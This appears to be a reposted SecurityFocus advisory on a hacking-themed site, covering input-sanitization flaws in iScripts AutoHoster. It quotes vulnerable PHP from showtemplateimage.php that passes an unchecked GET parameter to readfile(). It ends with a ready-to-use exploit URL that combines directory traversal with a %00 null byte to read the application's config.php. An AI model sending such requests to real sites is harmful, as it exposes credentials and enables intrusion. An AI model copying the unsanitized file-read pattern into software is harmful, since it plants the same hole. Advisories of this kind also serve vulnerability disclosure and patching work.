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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
source: https://www.securityfocus.com/bid/64377/info
     
iScripts AutoHoster is prone to multiple security vulnerabilities because it fails to sufficiently sanitize user-supplied data.
     
An attacker can exploit these vulnerabilities to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database, to execute arbitrary commands or script code in the context of the application, and obtain sensitive information that may aid in further attacks.
     
/websitebuilder/showtemplateimage.php
include_once "includes/session.php";
include_once "includes/function.php";
$templateid    = $_GET['tmpid'];
$type      = $_GET['type'];
if ($type == "home") {
  $imagename  = "homepageimage.jpg";
} else if($type == "sub") {
  $imagename  = "subpageimage.jpg";
} else {
  $imagename  = "thumpnail.jpg";
}
readfile("./".$_SESSION["session_template_dir"]."/".$templateid."/$imagename");
Hmmm , we can cancel the imagename value via the null byte %00
[+] Exploit : /websitebuilder/showtemplateimage.php?tmpid=../../includes/config.php%00&type=sub